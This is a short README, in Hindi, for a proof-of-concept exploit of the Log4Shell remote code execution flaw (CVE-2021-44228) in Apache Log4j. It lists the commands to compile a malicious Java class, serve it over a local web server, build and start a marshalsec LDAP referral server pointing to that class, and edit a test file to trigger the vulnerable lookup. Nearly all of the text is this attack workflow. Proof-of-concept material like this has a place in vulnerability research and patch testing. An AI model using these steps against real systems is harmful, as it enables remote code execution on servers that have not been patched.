Apache Log4j CVE-2021-44228 GK7 PoC

चरण

1. Log4jRCE.java को संकलित करें और .class फ़ाइल को एक वेब सर्वर (जैसे: स्थानीय PHP) पर ले जाएँ।

   1. cd src/main/java
   2. javac Log4jRCE.java
   3. .class फ़ाइल को वेब सर्वर पर ले जाएँ या स्थानीय रूप से PHP प्रारंभ करें, उदाहरण: php -S 127.0.0.1:8888

2. LDAP सर्वर प्रारंभ करें

   1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git
   2. cd marshalsec
   3. mvn clean package -DskipTests
   4. ldap सर्वर प्रारंभ करें java -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

3. PoC का परीक्षण करने के लिए, src/main/java/log4j.java फ़ाइल को संशोधित करें और LDAP सर्वर URL को अपनी इच्छानुसार बदलें।

मूल रेपो

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce